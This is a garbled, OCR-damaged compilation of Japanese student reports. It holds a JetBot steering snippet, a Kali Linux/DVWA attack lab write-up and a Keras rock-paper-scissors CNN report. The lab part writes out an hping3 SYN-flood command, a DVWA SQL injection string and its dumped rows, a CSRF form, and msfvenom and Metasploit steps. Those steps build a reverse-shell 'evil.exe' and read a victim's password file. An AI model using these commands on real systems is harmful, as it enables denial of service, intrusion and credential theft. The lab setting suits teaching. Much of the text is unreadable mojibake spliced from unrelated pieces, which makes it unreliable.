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import numpy as np
STEERING_GAIN = 0.75
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car.throttle = 0.15
while True:
image = camera.read()
image = preprocess(image).half()
output = model_trt(image).detach().cpu().numpy(.flatten()
x = float(output[0])
car.steering = x * STEERING_GAIN + STEERING_BIAS
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x = float(output[0])
car.steering = x * STEERING_GAIN + STEERING_BIAS
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(MVirtualBox ver6. 0. 12. 133076
@7 A k 0S : Windows10 (BB %) 52)
@7 Ak 0S : Kali Linux (M%)
@eclipse 2020.3

®DVWA (web 77"V r—3/3 V)

4. DOS {E=EER

4.1 DOS W L(X

DOS B L X, TEwmtEx=Y T ql2B75 I
HtE] 212FE T 2 HEFIL,

DOS IEEIZ H, WA WA RFREEAMN H W £ 23FAIE SY
N-FLOOD 7 - 8 OVERR L & L 7=,

4.2 SYN-FLOOD &l
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fa>THO, ML TEMEIZILTWAD DD, il
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RzFET X2,
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2 DOS-Flood B oD f5#H 7
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Kali Linux DX —IF /LTI 3 Da<w RN
LT DOS MENTE E 9,

F1 I3, K4 THEHLIEZAT >3 TY,

#1 hpingd AT = EH

SATar  SINSXTy hEEWRLET,
pA T ar . A—  EFOREETT, —nN
® 50000 R— F&E A LTWET,

—flood 7> a v [RAFETELA T a

sudo hping3 BEEXGIP - S - p A— &S
—flood

X3 DOS W=~ NS

Yt % 1P 1 10, 42.129.80) AR— K2y 15
0000) 72DT, M4Da~=r FEFATLELE,

sudo hping3 10.42.129.80 - S - p 50000 —flo
od

X 4 FEBUAFEH L7-D0S KD a~ L R

51X 4 DFEITHER T, 874104 packets t
ransmitted] & &5 X 912 874104 /37 v &k
fELTWE LT,

L 10.42.129.80 50000
HPING 10.42.129.80 (eth@ 10.42.129.80): S set, 40 headers + @ data bytes
hping in flood mode, no replies will be shown

50001: “C
— .42.129.80 hping statistic -—

874104 packets transmitted, @ packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
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SQL A > ¥ =7 a3 v E1X WEB ~X— Y DO ffegHit:
ERALUEE LRV SQL XE2FATSHE, T—F %
REICEET DR BETIEDOZ L2 S VET,

52 SQL AP x93 av R

WS L 72 A DX DVWA (Damn Vulnerable
WebApplication) &\ 9 Mgtk 28> WEB 7 7V
r—3a Y, BT 2 MZEL{fEbnd k)
<7,

4 9 1% DVWA o ID FesRiEh & % DFEFRTT, 1D
LI MBE5ETHY, TNENERRDLT — X % FF
STWET, M) ZAN LR, 32087
LERLTSNE L,

Vulnerability: SQL Injection

UserID: | 1 Submit
ID: 1

First name: admin

Surname: admin

[X| 9 DVWA @ ID a2 i

T L= ARNVE ML TWaWalgErE DL B 5
DT, THFRARRyZ A2 17 0R ‘17 =" 1
1 EANTHRETHZEELEL,

521 T1OR ‘1’="1"—;j&lE

> 0R ™17 ="1 —;] LIFSQLA v =”
varETAHEDORELTYITT, @@, SQL
AVl va e L TR ) IZiE
L — ARV BEEET, 22— DOANEFREE
BT L CTENE 7 TV IZED DRI LT
DT EMBNTT,

X 10 1 ZZO%HZ L Chins =) o T,

SELECT * FROM TABLE_NAME
WHERE ID = $ID(Z5%%)

X 10 FL—RAFRALEZDIRWT T

$ID (%) oz 17 R ‘1 =" 17 —; )
EANNDEEIRDTLE YN, MIDEHIT
S SR

SELECT * FROM TABLE_NAME
WHERE ID = 17 OR "1"="1 —;

B 11 X 10 AR ELFHNERA L7 =Y
WHERE AJ> TID = 1" | 13 &0 £93,
V=1 I3®CELRY £,
(54 0R B = ERocrF—T sk
HENTLEI EWVWS DIFTT,

D T 1ZLABEO & EC 2 £ > b
TURISHEDLIENTELHDT, DIF D ERBFHE
N ERD FT,

522 SQLAV 1Y 3V ERBER

X 12 BFER T, T—TLHAOTRTHOTF—X

N EnE L,

Vulnerability: SQL Injection

UserID:| 1'OR '1'="1 Submit

ID: 1' OR '1'="1
First name: admin
Surname: admin

ID: 1' OR '1'="1
First name: Gordon
Surname: Brown

ID: 1' OR '1'="1
First name: Hack
Surname: Me

ID: 1' OR '1'="1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'="1
First name: Bob
Surname: Smith

X 12 SQL A > =7 3 a3 v OFEBRER
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6.1 CSRF &l

CSRF (/7 mAHA NI ZARNTH+—T =)
CIVIWEB 77 r— g v olfagsth 2RI LT,
A7 VT N EREIZFATSE, FIHZEOZXE R
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6.2 CSRF EE&
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7.2 Kali Linux THLS2I(+5

16 23795 LIRS Y £

> msfconsole

> use exploit/multi/handler

> set payload windows/x64/meterpreter/revers
e_tcp

> set LHOST 192. 168. 56. 104

> exploit —j - z

<{form method="GET” action="http://localhost/DV
WA-master/vulnerabilities/csrf/? >
new password<br>
{input type="password”
me="password_new” ><br>

autocomplete="off"na

Confirm new password:<br>
<{input type="password” autocomplete="off"na
me="password_conf”><br>

16 7 747 MEgafibxlt o3~ K

7.3 Metaspoit THEI—F4ERL

W7 75 MIM 1T oa<wy Rzl HE)
AN TEET,

TLHOST ) 121X Y R—2 X579, Kali Linu
x(ZBEHE)D IP T KL AZ AN LET,

-
—

msfvenom —p windows/x64/meterpreter/reverse_
tep LHOST=192. 168. 56. 104 —f exe —o /root/Des
ktop/evil. exe

<br><{input type="submit” value="Change” nam
e="Change”>
<{/form>
X 14 (&Y A DT 4 — LS

Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

Test Credentials

Change

Password Changed
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7. TCP YN—RL T )\HETERRRE
71 YIN—=RxjLlk
UVE— R MNEHEIT)EE, 7747 bbb
— 2T D DN fRHI T,
ZOHEY—MNZT TA T MDD
FFHZITTOETN, UN—R T = L TIEZE D
W2V ET, DFED, 7 ITATV NBRFREBRIT,
P NP AT O E VOISR £,
AElOEBR T Kali Linux (Z A4 72 b
WEE) "B T, Windowsl0 (Hh—sX—:
WEE) NEHEZITO) LI LTWET,
Wm@mwﬂﬁm@%;\ﬁﬁ®ﬁm1@¢%
[B% Kali Linux (ZJERIEEREIEDO K T,

17 o — FAa< > K
WIZHER LT Tevil. exe] BRI T

o— FXHFE9, 4EN appache B — S TARH &
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Index of /share

Name

Last modified ~ Size Description

@ Wodows 282030
HVALREOR I

llllll 0B

18 WindowsDefender 2377 ¢ L A ¥a%0

18 ™ X 9 T WindowsDefender ® YV 7 /L4 A
AAX Y U EANILTND EX T B — RIAT
EEHEAD THRIZMNEATT,

Hrprm— KL, Windowsl0 Tevil. exe 5
T35 & EE B2 IEH 0 AN, BETIEEE
BrERAE L CWVWET,

74 UYIN—RIx)LREDS
UN=Z = VIS D &y R ER) L

9 (K19 ,
X — iz ‘exp101t(mu1t1/hand1er) >
EFEIREINTZ LTI T,

sessions I~ RCWENRD PCL EFE /<L
F L7,




X 19 1= [FEERVER )
15 NRT—FI27ANWVERERS
NMAT—=REZDIHIIHRFLTHDHFHEZ N
ERWET (K20),

ERITT N, EELTUELVLOIX, U AR—RY
TN T L EHBEICOF TS, EnH LA
<7,

X 20 /RAT— KD AFE

Y X—R2 =)L T Windowsl0 E DT v a %
s S, NAT— K& L7 Kali Linux @
X —IFEEpTT (X21) ,

Linux D2~ RCRAT— REfl&E RFE L=
(X 22),

X 21 /XA T — K5

e

meterpreter > Is

meterpreter > cat passwordlist. txt
Kiddala @ ID windowslOhatuyoi
Pass defendarIsGod

eakuo @ ID daremokorewominai
pass anzennandayo
uvereats @ ID harahetta

X 22 /XAT— K% cat THJ

8 EE

ST A T A4 o —ADORIT, T A —
M iZ DDOS Iﬁza%ﬁxﬁﬁjhézhfu\é }:75%@&
T, =L DOREITHE BV TZHIC, — R
?Hﬁgfﬁﬁb\%~ﬂ%&%bf%%o@f

T, BOEERIIEE I N WK ) ITA R PC &
ﬁofbé@?ﬂﬁﬁokﬂﬁ&%kﬁ&ﬁvN

VIZRERENH D ET0, A D= LEZHIT-
klﬂ? BHRTIIRo TATENo Tt EnET,

FARIZERIOGEETTMN, Twitter Tl ADT
AT RT [V A—b) BZTHEENREZHLEL
72o THUZ CSRF Zffio7-FE2 s E2 5TV
£, JERNTHD Twitter TTHRFETE TV
IR TZHERENS, RIL Y FEAR L TN I —
LoV mTONWELE T o Z DAY EBEWE
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FTE VDT Ry NT—Z 23 LWL Tldd
DEHFADT, ZELMICENTH D Z LiLIEE
W EBRNCTEEHATLE, TARETH, =
E2EEOTFIABE Y IZED DT Ty F T
MTETLEVE LT,

DO EMNDL, X2 YT 0 BB REJEN
B RZETN, THTHLRNI ERDNADEL
77

9. BEXM.S%E URL

ik Ny XS s TROED T RAREREE
B DN I — KB

4?2%4% - TPUSTRON £

R4, - ke, 2018

FATHRE @ 2018 4F

Kali Linux CDVWA ZfEVNSQL A ¥ =2 v a v
fKB% : https://qiita. com/y—araki—qiita/items/
131efa82c¢4205e83fef8

XU TO Windowsl0 2Ny F o7 1 https://qgiit
a. com/s_arakawa626/1tems/1d035b0413ab60674cc
b

- 1ZLHTD Windows10 /N F 7 : https://
gqiita. com/s_arakawa626/items/86cc8e46clc7abe
30c05

DVWA T CSRF : https://qiita. com/KPenguin/item
s/92e88dfe6a5734dc2532
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T—H Emiriaty (M7)

train_datagen =
ImageDataGenerator (
rescale=1. /255,
fill_mode="nearest”)

validation_datagen =
ImageDataGenerator (
rescale=1. /255)

train_generator =
train_datagen. flow_from_directory

¥
(”/content/drive/MyDrive/FinalE
xam/Rock-Paper—
Scissors/train”,
batch_size=128,
target_size=(150, 150),
class_mode="categorical”)

validation_generator =
validation_datagen. flow_from_direc
tor¥y (
”/content/drive/MyDrive/FinalExam
/Rock-Paper-Scissors/test”,
batch_size=128,
target_size=(150, 150),
class_mode="categorical”)

M7 7= DiiAriAAa— R




@ Fy MU =7 BOMRERET D (X8) @ RS Rz (K 10) L, 77 7 2Bl

% (X12)
model = keras. Sequential ([ —
keras. layers. Conv2D(32, (3,3), act Epoch 1/20  20/20 [==] - 1997s
100s/step -  loss: 1.4108 -

ivation="relu”, input_shape=(150, 1
50, 3)),
keras. layers. MaxPooling2D (2, 2),

accuracy: 0.3854 — val_loss: 0.9774
— val_accuracy: 0.6075
Epoch 2/20 20/20 [==] - 103s 5s/step
— loss: 0.4755 — accuracy: 0.8085 —
val_loss: 0.6683 - wval_accuracy:
0. 7876
Epoch 3/20 20/20 [==] - 101s 5s/step
— loss: 0.0667 — accuracy: 0.9826 -
val_loss: 0.7257 - wval_accuracy:
0. 7769
Epoch 4/20 20/20 [==] - 100s 5s/step
— loss: 0.0205 - accuracy: 0.9972 -
val_loss: 0.9223 - wval_accuracy:
0. 8253
Epoch 5/20 20/20 [==] - 105s 5s/step
— loss: 0.0011 - accuracy: 1.0000 -

keras. layers. Conv2D (64, (3,3), act
ivation="relu”),
keras. layers. MaxPooling2D (2, 2),

keras. layers. Conv2D (64, (3,3), act
ivation="relu”),
keras. layers. MaxPooling2D (2, 2),

keras. layers. Conv2D (128, (3,3), ac
tivation="relu”),

keras. layers. MaxPooling2D (2, 2),

keras. layers. Flatten(),

keras. layers. Dense (512, activation val loss: 1.0638 - val accuracy:
o ” 0. 8360

="relu”),

keras. layers. Dense (3, activation=" 10 FEEoMERE (e
softmax”) ])

acc = history. history[”accuracy”]
val_acc = history. history[“val_accu

M8 v FU—7@DftEka— R

racy”]

@ ETNEIHT D (X9)

loss = history. history[”loss”]

history = model. fit( val_loss = history.history[“val_los
train_generator, s”]
validation_data= epoch = range (len(acc))
validation_generator, plt.plot(epoch, acc, “r”, label =~
validation_steps=3, Training Accuracy”)
epochs=20, plt.plot(epoch, val_acc, “b”, label
steps_per_epoch=20, = "Validation Accuracy”)
verbose=1) plt. title("Training And Validation

Accuracy”)

9 ET VORI =— R plt. legend ()

plt. figure()

plt. plot(epoch, loss, “r”, label =
"Training Loss”)

plt.plot(epoch, val loss, ”“b”, labe
1 = "Validation Loss”)

plt. title("Training And Validation
Loss”)

plt. legend ()

plt. show()

B 11 B#ffERD 7T 7FoRa— R
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MAE O TZEGR (LT I="yF &K
TEIZHR AT O T2, 1 B OEE MO FE T
FHESNS Z LICHEIT 2V 00, 1 FomEiE
DRI & » TEEEIEA T M Thivs Z &I
IEDLYHY FHA, 5 END 6 FEIINT T, @
FENGEINT, T AT —XITT 4
T4 7 LTWERRIE, 29 Wolz 1 Ko
NEHINADRWICH -T2 BbihvEd, Mz T,
BEOM & W B TliX, Dropout ZFIH L7-
ET VI 19 6K 22 OWTFROEA S Valid
ation Accuracy ME K 85%0>5H 90%% EFRIZ L T
WA T8, il batch_size =° Epoch %5 L
1 B4 720 oFFHBEAEHKS LTH, FE DM
FixRADERE A, IRARWZBBEE LT, Jilfic
FIRT 2D NZ— N E D TWRNWDTT,

# 8bit OWBET —HX % 00D 1I1ZY A7

— )L B ALEE

train_datagen = ImageDataGenerator (
rescale=1. /255, fill_mode="neares

t”)

#OAEICE S D7 — Z AP % i
train_generator =
train_datagen. flow_from_directory ¥
(
”/content/drive/MyDrive/FinalEx
am/Rock—Paper—Scissors/train”,
# QWEET — 26— IO E#E %
FMHETLI»PZEROD (T=vTF
0
batch_size=128,
target_size=(150, 150),
class_mode="categorical”)

# 7T NEIMT D
history = model. fit(
# FHHT —%
train_generator,
# MG T — 4
validation_data=validation_genera
tor,
validation_steps=3,
# @I =y FHEIT S B
steps_per_epoch=20,
# @FNEREE
epochs=40,

verbose=1)

X 24 SR DA

12 T—RYEREMALEETIL
721 T—RHROEHE IR

A E 2 T, T—XIEEEEL-ET L
EER L CWE ET, ETVEERT AT —
AAEOFEEAK 25 T EDFELZ, Zh bk
205 T ETETHHATLE 8, 9 XD 72
DAERRSIET,

I F1F B4 102400 5] O ALFE AT DY
BT —ZIEENEH SN D720, 2 THRERD
INE— el S T2 EG A FIRICRIE 5 2 &3
BHEEZET, ZHITHRKNTH 40 FOEE%)
EnbdrZrEERLET, £, TEANIE]
o TalxMIF L) BRICL - T, BENMESLEL
TbbAA, EAEELLOFEMFESTH, dBlAT
BEZR, FERICM A2 ETANHIRTEET,
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o
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7. Bl 8 W& 9. &2

25 7 — ZYrak OFEIH

122 T—RHRORELEETILOER

T —ZPEBEDFEEE L | Dropout OFEEELF U X 107
HITEHE T, X 26 O L 9K LW iRES 08 1
Sl#cE LCEL, T—XHEEEITH T — X T H 06 |
FTIUEEEIK T T,

train_datagen = ImageDataGenerator (
# FIH L7 WIEA 515 E LCHET
rescale=1. /255,
rotation_range=40,
width_shift_range=0. 2,
height_shift_range=0. 2,
shear_range=20,
zoom_range=0. 2,
horizontal flip=True,
fill_mode="nearest”)

train_generator =
train_datagen. flow_from_directory (
# T HIEREFIA LW T — % DA
”/content/drive/MyDrive/FinalExam
/Rock—Paper—Scissors/train”,
batch_size=128,
target_size=(150, 150),
class_mode="categorical”)

X 26 7 — XYL A FET Ha— K

7.2.3 {ERESHT

17, 19Epoch H &< 720 | Loss &, 14, 16, 19
Epoch H &£ 1##< 72 ¥ 9, Training & Validatio
n O7#EH, Dropout FOMEAMI DI TENFHNT
VW& F 9, Dropout 2 0. 8 {2V TIiZ Accuracy,
Loss LITIHR L TV EH A,

Training And Validation Accuracy

10 1

091

0.8 4

0.7 1

06 1

051

044 = Taining Accuracy
= Validation Accuracy

o 5 1 15 22 25 3B 33 4

Training And Validation Loss

14 1
- Taining Loss

12 1 - Validation Loss

0414

0.2 1

0.0 1

0 5 10 15 2 25 30 35 40
27 T —Z LR AR L 7= Dropout 3R 0. 2 O
HE

Training & Validation O8I} HULHIL, Drop

out N 0.2 75 0.6 1223 F T, Accuracy 23 14,
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Training And Validation Accuracy
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038 1

074

06 1
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04

= Training Accuracy
= Validation Accuracy
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Training And Validation Loss

14 1

12 1

10 1

038 1

0.6 1

044

021

0.0 1

- Taining Loss
= Validation Loss

X 28 &

0 é 0 15 20 25 30 35 4
— X YRR & F|H L7z Dropout 2 0. 4 D3I
TR

Training And Validation Accuracy

10 1

09 4

08

0.7 1

06

05 1

04

= Training Accuracy
= Validation Accuracy

0 5 10 15 20 25 30 35 40

Training And Validation Loss

12

10

08

0.6 1

04+

021

0.0

~—— Taining Loss
—— Validation Loss
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X 29 &

— ZPraR & F) A L7z Dropout 2 0. 6 DOF

A

Training And Validation Accuracy

104
09 1
081
0.7
06 1
05 1
041 = Taining Accuracy
= Validation Accuracy
0 5 10 15 22 25 30 B 4
Training And Validation Loss
12 1 - Training Loss
— Validation Loss
101
081
06 1
04 1
024
0.0 1
0 5 lb 15 20 25 Bb 35 40
X 30 7 —Z 4Lk A KA L 7= Dropout 3 0. 8 Dl
TR
724 EE
6. =8 Z2MmET5E7 L] TiE, ET L

DFAM I Dropout KON L - T L TV &
F LR, T—2ILEEZFEEL7-ET LV TlE Dro
pout FOPRWNENE T VFHI A S E S LT
£9, ZHUTELF CEgAY — A2 X 5 EHALT
TIRT 72 < 720 | Dropout ZOHEIMMANK 15
DT AU » M EBYFERNERCFHEIFEOK T %2
SIS Lzl iZeExbnET,

B b AHEi O U Dropout 2R 0. 2 D456 OFFM %
X 31IcEELEDE L,

TEHTRX AT Accuracy DOl & XEBE T
9, Training AT —# %2 L IZHF %2 ER
TWAT=D, — 9T Accuracy (28T 5 Traini
ng OF5EI j: Validation % kR £9°, L LIX
m&ﬁéehmm@@ﬁﬁ%@$ﬂfiwhm
tion & FEIV 2235 4 e fElX Validation %

TE->TWET, Ziix Tralnlng F—H B
\F %R ﬁ74/74/7#ﬁbhﬁ<&ot&
EzonET,

725 £&H
5 # 6 ETlX Training 7 —Z BE~DO& |72 7
U YT AT TN T LEY Z L TEFEE LN
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IRIENRNFEAE L CWE L7, T—2HEE W)
HiteHW\WAZ &, @REIRT 0 v T 40 7 &
Z. WFEEEBS LIRS LE LT,

Taccu Vaccu |Tloss Vloss
&K 93.14% |93.28% 0.0365 | 0.0242
b3 98.97% | 100% 0.1984 |0.1671
85 97.10% |96.60% 0.0825 0.0783
WIHME/ | 2.69 15 | 2.10 {% |47.99 {% |42.58 %

B
X 31 AT T VDT —Z 58

1 C¢ Dropout =R 0.2 OFT /LB TIX
3. L ELHET 77 CTERLE., [Train
ing] & [Validation] ®OZEMN/NHNEXL (X 5) |
lAccuracy] 28 1iZir< . [lLoss) 20 Zyrvo
?7%Fi#éﬂﬁ®%w%¥wmﬁofwéi

Il bnET (K27 .

T, E%WLt%7»ﬁEL<ﬁ%m%é
T MRS TWVDHDTL X H D, IROFETIE,
Dropout 3£ 0.2 0):’&7‘/1/75:414]}% L. [Rock Paper
Scissors Dataset] ICHEIN/ZT A NHOF
—Z 2T TR, BT =42y FMEHWT,
AL THESE TR Y 7y Al 1272 - T
WD DNERGEL THET,

8. MEX B TLHLD Y7y ALIDREE
8.1 REAT—ADEMLBRIL A E

Z OFREETlE. laurencemoroney. com 23fEfikd
% [Rock Paper Scissors Dataset| O A M
T —24, b3 ANKARA ERDADS GitHub 12
Apache 7 A& A 2.0 TRAHLTNEHT—Xt&
v K lardamavi/Sign Language Digits Datase
t] (¥ 32) [Z7—) . ITFax) ., =12
BT HEBONE 1L FEZZIRL, A5F33 D7 —
SREEAER L £, 33 FOHNG T 2 AT 18
HEBRL, Uy o7 OREEZREEL W& &
7

6l (] (o] (84 [
N [ ]

X 32 ardamav1/Slgn Language DlgltS Dataset

82 Txliry Al DREEIREE

8.2.1 TRock Paper Scissors Dataset]IZ&ITH5EE
X 33 OO LEBIZHLFRT LAY —DFT

9, paperl.png (scissors) DX 9z, WL
DORIZ AL T REFORE () TSV AIOD

2 LB L TOES, FFEIE 100%& 1E L < f

Writiske Tk,
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paper-hires2 png ( scissors )

20 4 60 80 100 120 140
scissors9.png ( rock )
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20 20

100 100

120

140

0 20 4 6 8 100 120 140 0 20 4 6 8 100 120 140
scissors6.png ( rock ) paper2.png ( scissors )

o

20

100

120

140

o 20 4 60 80 100 120 140 0 20 40 60 80 100 120 140
rock-hiresl png ( paper ) rock5.png ( paper )

X 33 Al 23583 2 ETFO

B EDOT Y rrdH B, AL DI L 7%
ONEZ [F—] . [Fax] | [X—] TLic
R apiFELE (K34) , &2ETOFEN 1L BT
FELTWD E#MEnTnwEd, Ll 33
DT 7 TILIEMEEDN 100%27E L TV D DT
DTN FERA, 77— & [Fakx] ZBEWVC
MhEZ - b b £, 22 T7 7 A 04 L
LT FOR AL, FEZEFHIL TnEE
7T (1434, [¥35) ,
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BT,
18
s.
G-
‘-
2-
o.
sigsors paper ek 0 20 4 6 8 100 120 140 0 20 40 6 8 100 120 140
. . e IMG_4425 JPG ( rock ) IMG_4786 JPG ( paper )
[ 34 AT OFEHINEOHEFD
lis = []

for ind in test_df. index:
if (test_df[ Label’ J[ind] in test_df
[’ Image’ ][ind]):
lis. append (1)
else:
lis. append (0)

0 20 40 6 8 100 120 140 0 20 4 60 80 100 120 140
IMG_4755 PG ( paper ) IMG_4386 JPG ( scissors )

print (
“Accuracy of the model on test data
is {:.2f}”. format ((sum(1is)/len(1li
s))*100))

X35 ¥ DEEERTHa— RO

Accuracy of the model on test data is 100.00
36 AIL:J:%‘:/?.‘/&‘.‘/@%}E@ 0 20 40 6 8 100 120 140 0 20 40 60 8 100 120 140

IMG_4393 JPG ( rock ) IMG_4288 JPG ( rock )

X 37 Al 2354 2 EFQ

100%DFEETH, Mt Ty v o r v Al
NERLTZEESTHNNDOTIZARWNWTL X 9D,

8.2.2 lNardamavi/Sign Language Digits Dataset](Z

BITERE g
[Rock Paper Scissors Dataset] 28T DK

FEIX 1009 CL722, RUBaoT -4ty M & 5

FIHLTCWDDENPOUT-VEIOREEEA S &5

Z5HFbWNHo LAt LIVERA, £ZTY

YT, FREEOTEDOT 2ty N 24

MAELELE (K 32) , FORTERLS, FO

SEAD IR L2 b DIc 72 Y E9, ——— ek fmper
37T I HIX 40 DFERN G, B IZIEFIH L 38 Al OFBINBEDOFE®

TV, B BmOT —XFEN DAL TH,

AL OREEEIL 100%E EVMEA R LET, 7. EH

2t 2 B BTV OAERL] (1281 HET /LD

TR FELT 96. 60%72 o 7272, MEEEIE S H#EN4

AU EEEIZE DN TN T ERE SN E T3,

2/ DEWT S ZZIRICKIGHR D, £ 5 TARO

LW a9 5 Al ARSI TlEZ2n T

Lxom, B Thnyyrrv ALl O5
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lis = []
for ind in test_out_df. index:
if (test_out_df[’ Label’ ][ind] in
test_out_df[’ Image_out’ ][ind]):
lis. append (1)
else:
1is. append (0)

print ("Accuracy of the model on tes
t data is {:.2f}”. format ((sum(lis)/
len(lis))*100))

X139 UVx o OEEFRRITDHa— RO

Accuracy of the model on test data is 100.00
X140 ATICE DV ¥ 7 v DREEQ

9. {55

AT IR EFEDIIARO XL 5 Il 21T 2.5
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D AL B DFIME LI, ARIO L D ITBE
=27 U ANLPRILCHBIHE 5 Evoiz
HOTIFHZe<, TTIZHE UEM, FEE b oo
RE = BFNER, MGONRE— iR ENRES
SHEHLEDELNDIMNENS, RE—V < T
VIR TR D Z L R LET,

AFE T THXFICClhanwy vy v Al %
Hfs L. BT /VOMGE - {EkZIT> CTE £ L7z,
BRI, 7 — 2 IEiEE W T 220G SR
THEL ORY—2 % HE L, Dropout (ZX& 03
2 — v DELE TTBRICET VERITHZ &
T, —EDORZ—IZNbiZe\n, FiReET IV
EAERKT D 2 kT L O ITEVWET,

DFELHE A THERHTHE TRy Yy A
I &, T#ELA2LITTIcHE T Yy o7
VAL WS ZETT,

10. AHRIZBHAIRE S

[TIZBIE) Dot o WFiEET 52 EH
KL HIZHENET, L LESRNL, BEED
Pea B2 5 Z ERHERT . B o8 2 L
RETIVEAERR MR ST E VN LK T £,
EWVI DL, BFFEORDITEA 2 B A R
FO, HEICE ST AL Z2ERT D &0V 9 BRGA
PIZoT2b DD, FHHEBIT THIVUTHERE DM AE
OEIZOWTORGEZBE 20> 72005 T,
R oA Lo TH Al EIXHRBEWYET
T, —H =AW H LI RLDOTEHY FHA,
i EBAEIOMIETIE, AD LTk Tz
LW DR ATRD DL Z EITHEEFA T L,
BandbiuX, £< ORZNT, BFEN e

BV IATeZ LT, FZETREBELEITZ DD,
MEEL CWhE 720 e HunEd,

1. BBXMELUSE Y+

YA B4 EGRFRER S X | RS - A - BeETE
Bl & CRUERRL

URL:https://ledge. ai/image-recognition/

Yo M [FHIMTE] BRI S 1?2 AL
JESE. AT (NTHRE) (2 X 2 MR ALBE & C 2 figin
URL:https://aize. jp/2020/08/28/%E7%94%BB%ES%
83%8F%ES%AA%SDUES%AD%IS%E3%E1%A3%E3%81%AG%E
A%BD%ISHESS 1 %A0%E3%B2%SDIESS 1 hBEUEFUBCIIF/

YA N4 BRIRTE OBBEEREA~OIGH VR
7 D R B
URL:https://ci.nii.ac. jp/naid/110010049494

YA LT 44— T —=27 (Deep Learnin
g) &ix? [AMHR]

https://leapmind. io/blog/2017/06/16/%E3%83%8
T%E3%82%A3%E3%83%BChE3%83%97%E3%8 3%AI%E3%83%
BCUE3%83%8B%E3%83%B3%E3%82%B0%EF%BC%88deep—1
earning%EF%BC%SIBE 3% 1%ABUE3%S 1%AFNEF%BCHIF%
E3%80%90%E5%85%A5%E9%96%80%E7%B7%A8%E3%80%9 1
/

P A B4 R] AT 1T X D EHRAAER DA 2,
T4 =TT == T K DGR &
URL:https://jssl. jp/column/column_86/

A M BHRAHB =2 —T Ty FTU—2 (CN
N) &2 07 < fif
URL:https://ai—antena. net/ai—cnn

A N4 03 Thr 0T fE | BAIAL=
a—F )%y FU—7 « CNN &I
URL:https://aizine.ai/cnn—0417/

YA M T4 =T TF—= 7
TEELW3HS>DZ E
URL:https://jp. mathworks. com/discovery/deep—
learning. html

N IEHE S

YA NG BAHIAH=2—T )Ry NU—T L%
URL:https://jp. mathworks. com/discovery/convo
lutional—neural-network. html

H A 4 : Keras+tTensorFlow TFEE CNN (Fo0
2)
URL:https://wxsolution. dip. jp/portal/?p=2547
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https://ledge.ai/image-recognition/
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https://aize.jp/2020/08/28/%E7%94%BB%E5%83%8F%E8%AA%8D%E8%AD%98%E3%81%A3%E3%81%A6%E4%BD%95%E3%81%A0%E3%82%8D%E3%81%86%EF%BC%9F/
https://ci.nii.ac.jp/naid/110010049494
https://leapmind.io/blog/2017/06/16/%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%A9%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%EF%BC%88deep-learning%EF%BC%89%E3%81%A8%E3%81%AF%EF%BC%9F%E3%80%90%E5%85%A5%E9%96%80%E7%B7%A8%E3%80%91/
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https://leapmind.io/blog/2017/06/16/%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%A9%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%EF%BC%88deep-learning%EF%BC%89%E3%81%A8%E3%81%AF%EF%BC%9F%E3%80%90%E5%85%A5%E9%96%80%E7%B7%A8%E3%80%91/
https://leapmind.io/blog/2017/06/16/%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%A9%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%EF%BC%88deep-learning%EF%BC%89%E3%81%A8%E3%81%AF%EF%BC%9F%E3%80%90%E5%85%A5%E9%96%80%E7%B7%A8%E3%80%91/
https://leapmind.io/blog/2017/06/16/%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%A9%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%EF%BC%88deep-learning%EF%BC%89%E3%81%A8%E3%81%AF%EF%BC%9F%E3%80%90%E5%85%A5%E9%96%80%E7%B7%A8%E3%80%91/
https://leapmind.io/blog/2017/06/16/%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%A9%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%EF%BC%88deep-learning%EF%BC%89%E3%81%A8%E3%81%AF%EF%BC%9F%E3%80%90%E5%85%A5%E9%96%80%E7%B7%A8%E3%80%91/
https://jss1.jp/column/column_86/
https://ai-antena.net/ai-cnn
https://aizine.ai/cnn-0417/
https://jp.mathworks.com/discovery/deep-learning.html
https://jp.mathworks.com/discovery/deep-learning.html
https://jp.mathworks.com/discovery/convolutional-neural-network.html
https://jp.mathworks.com/discovery/convolutional-neural-network.html
https://wxsolution.dip.jp/portal/?p=2547

Y1 b4 : Sign Language Digits Dataset

URL: https://github. com/ardamavi/Sign-Langua
ge—Digits—Dataset

Mavi, A., (2020), “A New Dataset and Propos
ed Convolutional Neural Network Architecture

for Classification of American Sign Languag
e Digits” , arXiv:2011.08927

%1 b4 : Introducing Rock Paper Scissors -
A multi class learning dataset
URL:http://www. laurencemoroney. com/rock—pape
r-scissors—dataset/

A 4 Al BNFEELTES 2 LEyE) W8
& ENE T 5 ik
URL:https://ai—kenkyujo. com/2020/04/24/kagak
ushu/

A 4 N GEENES) | &3 2 JRLRS0E
WEHTER DY 03 < fFE !
URL:https://ailearn. biz/learn/20171119349

TA N TEE X 2 T 2 ST A BRI
W A AT 5 HikE F LH T !
URL:https://toukei—lab. com/over—fitting

P A N BB E OIS L2 ORI
DT b R
URL:https://hashikake. com/over—learning

A BT E ICB TS NETE ) OFKE
[B]0EE % fifR

URL:https://lionbridge. ai/ja/articles/overfi
tting/

YA MR EFEARRIIOWNWTHD
URL:https://www. tensorflow. org/tutorials/ker
as/overfit_and_underfit?hl=ja

A R4 01 TRa vy —day: Al hT v~
LINE 234A< F ¥ » FAR > FOAKK E Microsoft
DD AT, £ L TAL O —/k
URL:https://gihyo. jp/news/report/01/ptcon201
7/0001

A M Ray 7T R Chbod T4 yT 4
N

URL:http://marupeke296. com/IKDADV_DL Noll dr
opout. html

YA NG T—H YA T 4 A NDOMIHAF IV
ZHILEXE S [5F— 4455k (Data Augmentatio
n) ] ZHEAe L cEl

URL:https://note. com/masayamori/n/n63caf39a4
cdf

A NG T —F PR B E T OB T —
Aty b 10 fFI2KE L3 5515
URL:https://lionbridge. ai/ja/articles/data—a
ugmentation-image—datasets/

%A b4 : Epoch vs Batch Size vs Iterations
